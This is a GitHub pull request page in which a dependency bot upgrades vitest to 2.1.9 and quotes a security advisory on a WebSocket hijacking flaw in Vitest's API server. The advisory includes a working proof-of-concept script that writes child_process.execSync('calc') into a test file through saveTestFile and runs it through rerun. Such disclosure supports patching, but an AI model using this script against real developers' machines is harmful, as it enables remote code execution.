Skip to content

Conversation

@depfu
Copy link
Contributor

@depfu depfu bot commented Feb 4, 2025


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ vitest (2.1.5 β†’ 2.1.9) Β· Repo

Security Advisories 🚨

🚨 Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.

    <tbody>
    <tr class="border-0">
      <td id="L33" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="33"></td>
      <td id="LC33" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">!</span><span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-c1">url</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L34" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="34"></td>
      <td id="LC34" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-k">return</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L35" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="35"></td>
      <td id="LC35" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-kos">}</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L36" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="36"></td>
      <td id="LC36" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">  </td>
    </tr>

    <tr class="border-0">
      <td id="L37" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="37"></td>
      <td id="LC37" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">const</span> <span class="pl-kos">{</span> pathname <span class="pl-kos">}</span> <span class="pl-c1">=</span> <span class="pl-k">new</span> <span class="pl-c1">URL</span><span class="pl-kos">(</span><span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-c1">url</span><span class="pl-kos">,</span> <span class="pl-s">'http://localhost'</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L38" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="38"></td>
      <td id="LC38" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">pathname</span> <span class="pl-c1">!==</span> <span class="pl-c1">API_PATH</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L39" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="39"></td>
      <td id="LC39" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-k">return</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L40" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="40"></td>
      <td id="LC40" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-kos">}</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L41" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="41"></td>
      <td id="LC41" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">  </td>
    </tr>

    <tr class="border-0">
      <td id="L42" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="42"></td>
      <td id="LC42" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-s1">wss</span><span class="pl-kos">.</span><span class="pl-en">handleUpgrade</span><span class="pl-kos">(</span><span class="pl-s1">request</span><span class="pl-kos">,</span> <span class="pl-s1">socket</span><span class="pl-kos">,</span> <span class="pl-s1">head</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-s1">ws</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L43" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="43"></td>
      <td id="LC43" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-s1">wss</span><span class="pl-kos">.</span><span class="pl-en">emit</span><span class="pl-kos">(</span><span class="pl-s">'connection'</span><span class="pl-kos">,</span> <span class="pl-s1">ws</span><span class="pl-kos">,</span> <span class="pl-s1">request</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L44" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="44"></td>
      <td id="LC44" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-en">setupClient</span><span class="pl-kos">(</span><span class="pl-s1">ws</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L45" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="45"></td>
      <td id="LC45" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-kos">}</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L46" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="46"></td>
      <td id="LC46" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-kos">}</span><span class="pl-kos">)</span> </td>
    </tr>
</tbody>
server.httpServer?.on('upgrade', (request, socket, head) => {

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.

    <tbody>
    <tr class="border-0">
      <td id="L67" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="67"></td>
      <td id="LC67" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">!</span><span class="pl-s1">ctx</span><span class="pl-kos">.</span><span class="pl-c1">state</span><span class="pl-kos">.</span><span class="pl-c1">filesMap</span><span class="pl-kos">.</span><span class="pl-en">has</span><span class="pl-kos">(</span><span class="pl-s1">id</span><span class="pl-kos">)</span> <span class="pl-c1">||</span> <span class="pl-c1">!</span><span class="pl-en">existsSync</span><span class="pl-kos">(</span><span class="pl-s1">id</span><span class="pl-kos">)</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L68" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="68"></td>
      <td id="LC68" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-k">throw</span> <span class="pl-k">new</span> <span class="pl-v">Error</span><span class="pl-kos">(</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L69" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="69"></td>
      <td id="LC69" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-s">`Test file "<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">id</span><span class="pl-kos">}</span></span>" was not registered, so it cannot be updated using the API.`</span><span class="pl-kos">,</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L70" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="70"></td>
      <td id="LC70" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L71" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="71"></td>
      <td id="LC71" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-kos">}</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L72" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="72"></td>
      <td id="LC72" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">return</span> <span class="pl-s1">fs</span><span class="pl-kos">.</span><span class="pl-en">writeFile</span><span class="pl-kos">(</span><span class="pl-s1">id</span><span class="pl-kos">,</span> <span class="pl-s1">content</span><span class="pl-kos">,</span> <span class="pl-s">'utf-8'</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L73" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="73"></td>
      <td id="LC73" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-kos">}</span><span class="pl-kos">,</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L74" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="74"></td>
      <td id="LC74" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">async</span> <span class="pl-en">rerun</span><span class="pl-kos">(</span><span class="pl-s1">files</span><span class="pl-kos">,</span> <span class="pl-s1">resetTestNamePattern</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L75" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="75"></td>
      <td id="LC75" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">await</span> <span class="pl-s1">ctx</span><span class="pl-kos">.</span><span class="pl-en">rerunFiles</span><span class="pl-kos">(</span><span class="pl-s1">files</span><span class="pl-kos">,</span> <span class="pl-c1">undefined</span><span class="pl-kos">,</span> <span class="pl-c1">true</span><span class="pl-kos">,</span> <span class="pl-s1">resetTestNamePattern</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L76" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="76"></td>
      <td id="LC76" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-kos">}</span><span class="pl-kos">,</span> </td>
    </tr>
</tbody>
async saveTestFile(id, content) {

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/vitest_api')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

<span class="pl-k">const</span> <span class="pl-s1">testFilePath</span> <span class="pl-c1">=</span> <span class="pl-s">"/path/to/test-file/basic.test.ts"</span> <span class="pl-c">// use a test file returned from the response of "getFiles"</span>

<span class="pl-c">// edit file content to inject command execution</span>
<span class="pl-s1">ws</span><span class="pl-kos">.</span><span class="pl-en">send</span><span class="pl-kos">(</span><span class="pl-v">Flatted</span><span class="pl-kos">.</span><span class="pl-en">stringify</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
  <span class="pl-c1">t</span>: <span class="pl-s">'q'</span><span class="pl-kos">,</span>
  <span class="pl-c1">i</span>: <span class="pl-s1">crypto</span><span class="pl-kos">.</span><span class="pl-en">randomUUID</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">,</span>
  <span class="pl-c1">m</span>: <span class="pl-s">"saveTestFile"</span><span class="pl-kos">,</span>
  <span class="pl-c1">a</span>: <span class="pl-kos">[</span><span class="pl-s1">testFilePath</span><span class="pl-kos">,</span> <span class="pl-s">"import child_process from 'child_process';child_process.execSync('calc')"</span><span class="pl-kos">]</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">)</span>
<span class="pl-c">// rerun the tests to run the injected command execution code</span>
<span class="pl-s1">ws</span><span class="pl-kos">.</span><span class="pl-en">send</span><span class="pl-kos">(</span><span class="pl-v">Flatted</span><span class="pl-kos">.</span><span class="pl-en">stringify</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
  <span class="pl-c1">t</span>: <span class="pl-s">'q'</span><span class="pl-kos">,</span>
  <span class="pl-c1">i</span>: <span class="pl-s1">crypto</span><span class="pl-kos">.</span><span class="pl-en">randomUUID</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">,</span>
  <span class="pl-c1">m</span>: <span class="pl-s">"rerun"</span><span class="pl-kos">,</span>
  <span class="pl-c1">a</span>: <span class="pl-kos">[</span><span class="pl-s1">testFilePath</span><span class="pl-kos">]</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">)</span>

})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

2.1.9

This release includes security patches for:

   🐞 Bug Fixes

Β Β Β Β View changes on GitHub

2.1.8

   🐞 Bug Fixes

Β Β Β Β View changes on GitHub

2.1.7

   🐞 Bug Fixes

  • Revert support for Vite 6 Β -Β  by @sheremet-va (fbe5c)
    • This introduced some breaking changes (#6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
Β Β Β Β View changes on GitHub

2.1.6

πŸš€ Features

  • Support Vite 6
Β Β Β Β View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 10 commits:


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added the depfu label Feb 4, 2025
@coderabbitai
Copy link

coderabbitai bot commented Feb 4, 2025

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.


Thank you for using CodeRabbit. We offer it for free to the OSS community and would appreciate your support in helping us grow. If you find it useful, would you consider giving us a shout-out on your favorite social media?

❀️ Share
πŸͺ§ Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Generate unit testing code for this file.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai generate unit testing code for this file.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and generate unit testing code.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR. (Beta)
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@sonarqubecloud
Copy link

sonarqubecloud bot commented Feb 4, 2025

@github-actions github-actions bot merged commit 2e12924 into main Feb 4, 2025
8 checks passed
@depfu depfu bot deleted the depfu/update/pnpm/vitest-2.1.9 branch February 4, 2025 18:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants